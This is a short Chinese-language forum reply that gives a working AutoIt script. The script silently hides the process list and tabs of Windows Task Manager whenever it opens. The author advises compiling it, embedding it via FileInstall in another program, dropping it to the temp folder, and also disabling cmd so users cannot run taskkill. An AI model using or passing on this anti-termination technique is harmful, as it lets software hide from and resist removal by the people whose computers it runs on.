换一个角度去思考一下,或许并不需要这么复杂...#NoTrayIcon
HotKeySet("{esc}","_exit")
while 1
WinWaitActive ("Windows 任务管理器", "")
If WinActive("Windows 任务管理器", "") Then
ControlHide("Windows 任务管理器", "", "SysTabControl321")
ControlHide("Windows 任务管理器", "", "SysListView321")
EndIf
WinWaitClose ("Windows 任务管理器", "")
WEnd
Func _exit()
ControlShow("Windows 任务管理器", "", "SysTabControl321")
ControlShow("Windows 任务管理器", "", "SysListView321")
Exit
EndFunc
把这段编译成exe,fileinstall到你的源程序中,主程序运行 时先把这个释放到临时文件夹,先加载它...这样任务管理器就被阉割掉了...顺便把cmd跟command也阉割一下,省的人用 taskkill结束进程... |